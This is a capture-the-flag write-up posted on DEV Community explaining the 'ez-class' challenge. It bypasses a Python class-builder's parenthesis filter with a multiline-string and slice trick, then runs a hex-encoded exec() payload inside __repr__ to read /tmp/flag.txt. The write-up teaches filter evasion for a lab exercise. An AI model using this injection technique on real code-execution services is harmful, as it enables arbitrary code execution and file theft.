DEV Community

VaiTon for Ulisse

Posted on • Originally published at ctf.ulis.se

ez-class

Originally written by Max

First analysis

It seems we can write a class to a file, and open that class.
But we also have restrictions on what we can write that are applied when input gets validated by get_legal_code.
When running and selecting 1. Write new class we are prompted with

  • {class name}
  • {parent}
  • {number of methods}
  • for each method:
    • {name{i}}
    • {params{i}}
    • {body{i}}

and out class will look like:

class {class name}({parent}):
  def {name{1}}({params{1}}):
    {body{1}}

  def {name{2}}({params{2}}):
    {body{2}}
  ...
Enter fullscreen mode Exit fullscreen mode

In exec_class() our class gets printed, so my_class.__repr__() gets run to get it's string representation.

Resolution

Since we can not write parentheses we want to highjack some.
If we can remove def in def {name{2}}({params{2}}): we would get closer to calling any funciton with any parameter.
Fortunatley there are multiline strings, so now our payload looks like:

class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;exec({params{2}}):
    {body{2}}
Enter fullscreen mode Exit fullscreen mode

We still have a problem:
the colon at the end of def {name{2}}({params{2}}): gives us a syntax error since it is not valid python code.
This can be fixed by making it look like we are using that result to index an array, since [][f(x):2] is valid python code

class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;[][exec({params{2}}):
    2]
Enter fullscreen mode Exit fullscreen mode

great, we can call any function!
now we just put "print(open('/tmp/flag.txt').readlines())" as a hexstring into {params{2}} to avoid parentheses invalidating our payload and we have our evil class

class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;[][exec("\x70\x72\x69\x6e\x74\x28\x6f\x70\x65\x6e\x28\x27\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x29\x29"):
    2]
Enter fullscreen mode Exit fullscreen mode

By writing such class, then selecting 2. Run class and providing the class name we get the __repr__ method to be run that in turn runs the exec which prints the file and we get the flag!

Top comments (0)